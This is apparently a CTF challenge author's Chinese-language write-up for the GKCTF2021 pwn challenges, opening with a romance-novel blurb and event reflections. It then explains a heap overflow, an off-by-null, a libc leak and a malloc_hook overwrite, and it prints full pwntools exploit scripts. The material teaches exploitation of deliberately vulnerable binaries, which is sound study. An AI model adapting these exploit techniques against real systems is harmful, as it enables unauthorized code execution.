他与她青梅竹马;
她却抛下他,投入了另外一个男人的怀中。
只因为,在她患难时,那个男人对她掏心掏肺的付出……
于是,带着仇恨,他堕落了……
多年以后,她孑然一身,出现在了他的身边……
他的怀里却已拥着一个与她一模一样的女子……
是怜悯?是施舍?是爱怜?还是执念?
她与他断了的情缘如何再续?
她如何弥补那张和她一模一样的脸?
当亲情与爱情水火不容势不两立,她与他该怎么办?牺牲亲情成全爱情?还是牺牲爱情成全亲情?

——取自言情小说《你是我的秘密》
—分割线—

0.0

这波对不起家人们,给整阴间了。
感谢师傅们能在百忙之中来参加此次GKCTF2021,这里我直接五体投地。

转眼间,GKCTF2020已经过去一年多了,在实验室成员各种磨蹭下,终于在2021年的中旬,顺利举办了GKCTF2021。
还是非常感谢每年都为GKCTF辛苦的glzjin赵总,从2020年由于疫情冲击,我们选择在buu平台举办GKCTF开始,赵总一直在为比赛成功举办忙前忙后,确实是非常辛苦。

首先是比赛时间的问题,由于我们小比赛,尽量避免与大比赛时间冲突,所以时间就一拖再拖,6.26可能是最合适的时间了,但是还是赶上国赛半决赛或者是期末考试复习周,这里给大家说声抱歉。
然后GKCTF其实谈起来从13年就已经开始举办了,只不过当时是以应急挑战杯的名字举办的校内赛,从2020年才正式面向全国,一直以来都是在学长的庇护下成长,当学长真正毕业、自己成为学长的时候才发现自己还要学很多,GKCTF2020年有学长在,我只需要出一道题就足以完成任务,但是今年除了刚学pwn的学弟,能拉出来出pwn题目的只有我一个了(实验室一共其实也只有十几个人),所以题目量确实有点少(PWN只有三道)。

然后就是题目质量问题,从刚学打到现在,我感觉到pwn方向存在只会做题而不会实践的问题,尤其是最近一年的国内赛,pwn题目更像是考试,每个题目都能找到类似的模板,我感觉这样会局部化自己的思维,所以我就想让我的题目看起来有新意一点,可能利用是非常好利用的,至少好玩一点,但是受限于自己的水平,最后出来了这几道不三不四的阴间题目。

GKCTF举办的初心是无偿的分享技术或者给大家展示一些我们学习的东西,但是这个CTF圈子真是越来越卷了,资本的冲入滋生了各种各样的大比赛,估计我们小比赛马上要被冲没了,幸运的是今年还是坚持下来了。还是希望师傅们轻点喷,给大家嘤嘤嘤了。

Checkin

密码就是原封不动的md5加密,本质上以为师傅们都能一眼看出来,但是事与愿违了,这波我的。
然后直接栈迁移+ret2libc就可以。

demo_catRoom

程序实现了一个聊天室(这里名字起错了,他喵的应该叫chatroom,少打一个h,见笑了。)
这里的洞其实就是在服务端接受通讯包的时候结构体的长度是0x68,

但是在添加用户的时候malloc的时候只是0x48,这里就导致了堆溢出。

server端在刚开始的时候检测第一个用户有没有被注册,如果未注册,自动注册用户admin

其中admin密码为0x10位随机数

在登录哪里有判断登录用户是否是admin,如果是就打印flag

其实有了上面的堆溢出漏洞,就非常简单了,覆盖存放admin密码的heap,然后修改密码或者更改admin用户名,然后登录admin用户,打印flag即可。
这道题目确实很简单的,而且其实就是平时菜单堆的socket版本,要是换成菜单的估计要被mio杀,当时对他的定位也确实是一个简单题,并且由于出题时间问题,这道题确实是demo版本,还有挺多bug的,所以应该会有挺多非预期的,但是大家可能并不擅长去审或者没有耐心去审server端代码,所以这道题答题情况并不太理想。
还有个地方就是socket只能ip连接,所以要ping下buu平台取ip。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./client')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process(['./client',ip,port])

else:
p = remote(ip,port)
def registe(name,passwd):
p.sendlineafter("0 exit \n","1")
p.sendlineafter("your name\n",name)
p.sendlineafter("passwd\n",passwd)
def login(name,passwd):
p.sendlineafter("0 exit \n","2")
p.sendlineafter("name\n",name)
p.sendlineafter("passwd\n",passwd)

def remove(name,passwd):
p.sendlineafter("0 exit \n","4")
p.sendlineafter("remove name\n",name)
p.sendlineafter("passwd\n",passwd)
registe("\x11",'1')
registe("\x22",'2')
registe("\x33",'3')
remove("\x11",'1')
remove("\x33",'3')
remove("\x22",'2')
registe("\x11",'2'*5*8+"\x40")
registe("\x22",'2')
registe("1"*0x10,"a")
login("admin","1"*0x10)

p.interactive()
if __name__ == '__main__':
pwn('117.21.200.165','26490',1)

EsapeSH

程序实现了一个简单的shell功能,并且提供了monitor管理员功能,不过monitor需要检测malloc_hook的值为monitor,在程序将输入拷贝到heap中的时候使用了strcpy函数,出现off-by-null,然后利用echo功能泄露libc,然后利用off-by-null来构造覆盖malloc_hook即可,这里麻烦的是每一次输入都是一次heap的申请与free,需要合理构造heap布局。

程序将输入以空格分隔,分割出来的字符串用strcpy复制进heap,这里strcpy可以实现off-by-null。

首先申请0x40heap ,用以填充(最后看来这个填充的似乎与主线关系不大,只是最开始的时候整的,然后忘记删除了)

1
2
payload = ("a"*0x30+' ')*3+'a'
p.sendlineafter("[m$ ",payload)

然后构造如下heap布局,用来伪造

1
2
3
4
5
6
7
8
payload = "a"*0xc0+' '#free掉,做伪造头
payload +="a"*0x60+' ' #堆重叠块
payload += "a"*0x10 +' '#申请出了上面free的,没在堆布局中。
payload += "a"*0x10 +' '#用来修改下一个heap的头
payload += "a" *0xf0+' '#
payload += "a"*0x10
gdb.attach(p,"b *$rebase(0x1042)")
p.sendlineafter("[m$ ",payload)

堆布局如下

然后申请0x10大小heap,来修改0x100heap的头

1
2
3
payload = "a"*0x10 +' '
payload += "a"*0x18
p.sendlineafter("[m$ ",payload)

此时,已经修改了heap的头等于0x100,如下图。

接下来就是伪造存放判断上一个heap大小的地方了(原谅我忘求了那个地方叫啥了,我平时不喜欢记这些结构体变量名,导致这里哄堂大笑了,我直接给师傅们跪下)
这里由于是strcpy函数,没法子直接写\x00进去,就一个字节一个字节的减小,然后就可以将辣个地方清零

1
2
3
4
for i in range(8):
payload = "\x11"*0x10 +' '
payload += "\x22"*0x10+'a'*(7-i)
p.sendlineafter("[m$ ",payload)


然后再写大小进去,在把这个0x100的heap申请出来free一下,就可以实现堆重叠、

1
2
3
4
5
payload = "a"*0x10 +' '
payload += "\x33"*0x10+p64(0x160) #写大小。
p.sendlineafter("[m$ ",payload)
payload = "a"*0xf0
p.sendlineafter("[m$ ",payload) # free -size = 0x261


如图,就给0x71大小的heap堆重叠了。
然后就是把0x71的heap结构恢复一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload = "a"+' '
payload += "a"+' '
payload += "a"+' '
payload += "a" *0x130+' '
payload += "a"

p.sendlineafter("[m$ ",payload)
payload = "a"*0xf0+' '
payload += "a"*0x130
p.sendlineafter("[m$ ",payload)

#----link 0x71
for i in range(8):
payload = "a"*0xf0+' '
payload += "a"*0xd0+'a'*(7-i)
p.sendlineafter("[m$ ",payload)

for i in range(7):
payload = "a"*0xf0+' '
payload += "a"*0xc9+'a'*(6-i)
p.sendlineafter("[m$ ",payload)

payload = "a"*0xf0+' '
payload += "a"*0xc8+p64(0x71)
p.sendlineafter("[m$ ",payload)


然后就方便用echo来泄露地址

1
2
3
4
5
payload = "echo "
payload += "a"*0x60+'\x40\x01'+' '
payload += "a"*0xf0+' '
payload +="a"*0xc0
p.sendlineafter("[m$ ",payload)

首先申请出0x20heap,来存放echo,然后申请出0x70也就是0x5621c5ac4310,然后申请出0x5621c5ac43a0,在申请0x5621c5ac4240时
刚好将0x70的heap的内容改为main_arena的地址,然后echo就泄露出来libc地址了。

然后其实还是一样的操作,来改写malloc_hook的值=”monitor”,

1
2
3
4
5
6
7
8
9
10
11
12
payload = "a"*0xf0+' '
payload +="a"*0xd0+p64(malloc_hook- 0x23)
p.sendlineafter("[m$ ",payload)

for i in range(7):
payload = "a"*0xf0+' '
payload += "\x71"*0xc9+'a'*(6-i)
p.sendlineafter("[m$ ",payload)
payload = "monitor"+" "
payload +="a"*0x60+" "
payload +="a"*19+"monitor"+ "a"*76
p.sendlineafter("[m$ ",payload)

这个脚本的话因为我完成的比较早(这个题在很早之前就出出来了),所以在现在看来有些不成熟的地方,
没时间让我在推倒重写了,所以有些地方写的非常繁琐,师傅们尽可以在了解堆布局后自己
写,觉得哪里有问题也可以跟我聊下,/呜呜呜

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('EscapeSH')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./EscapeSH')

else:
p = remote(ip,port)

payload = ("a"*0x30+' ')*3+'a'
p.sendlineafter("[m$ ",payload)

payload = "a"*0xc0+' '
payload +="a"*0x60+' '
payload += "a"*0x10 +' '
payload += "a"*0x10 +' '#edit next chunk head
payload += "a" *0xf0+' '
payload += "a"*0x10

p.sendlineafter("[m$ ",payload)
#----off-by-null
payload = "a"*0x10 +' '
payload += "a"*0x18

p.sendlineafter("[m$ ",payload)
for i in range(8):
payload = "\x11"*0x10 +' '
payload += "\x22"*0x10+'a'*(7-i)
p.sendlineafter("[m$ ",payload)

payload = "a"*0x10 +' '
payload += "\x33"*0x10+p64(0x160)
p.sendlineafter("[m$ ",payload)
payload = "a"*0xf0

p.sendlineafter("[m$ ",payload) # free -size = 0x261

#----
payload = "a"+' '
payload += "a"+' '
payload += "a"+' '
payload += "a" *0x130+' '
payload += "a"

p.sendlineafter("[m$ ",payload)
payload = "a"*0xf0+' '
payload += "a"*0x130
p.sendlineafter("[m$ ",payload)

#----link 0x71
for i in range(8):
payload = "a"*0xf0+' '
payload += "a"*0xd0+'a'*(7-i)
p.sendlineafter("[m$ ",payload)

for i in range(7):
payload = "a"*0xf0+' '
payload += "a"*0xc9+'a'*(6-i)
p.sendlineafter("[m$ ",payload)

payload = "a"*0xf0+' '
payload += "a"*0xc8+p64(0x71)
p.sendlineafter("[m$ ",payload)
#gdb.attach(p,"b *$rebase(0x185A)")
#---------
payload = "echo "
payload += "a"*0x60+'\x40\x01'+' '
payload += "a"*0xf0+' '
payload +="a"*0xc0
p.sendlineafter("[m$ ",payload)
libcbase_addr = u64(p.recv(6).ljust(8,"\x00"))-(0x7f86c1cafb78-0x7f86c18eb000)
malloc_hook = libcbase_addr + (0x7f86c1cafb10-0x7f86c18eb000)
print "libcbase_addr = ",hex(libcbase_addr)
payload = "a"*0xf0+' '
payload +="a"*0xd0+p64(malloc_hook- 0x23)
p.sendlineafter("[m$ ",payload)

for i in range(7):
payload = "a"*0xf0+' '
payload += "\x71"*0xc9+'a'*(6-i)
p.sendlineafter("[m$ ",payload)
payload = "monitor"+" "
payload +="a"*0x60+" "
payload +="a"*19+"monitor"+ "a"*76
p.sendlineafter("[m$ ",payload)

p.interactive()
if __name__ == '__main__':
pwn('node3.buuoj.cn',27206,1)

忏悔。

写的有点急,可能有地方有雷,师傅们轻点踩/狗头
想着摆脱常规菜单题,没想到直接整阴间了,师傅们轻点骂,5555😣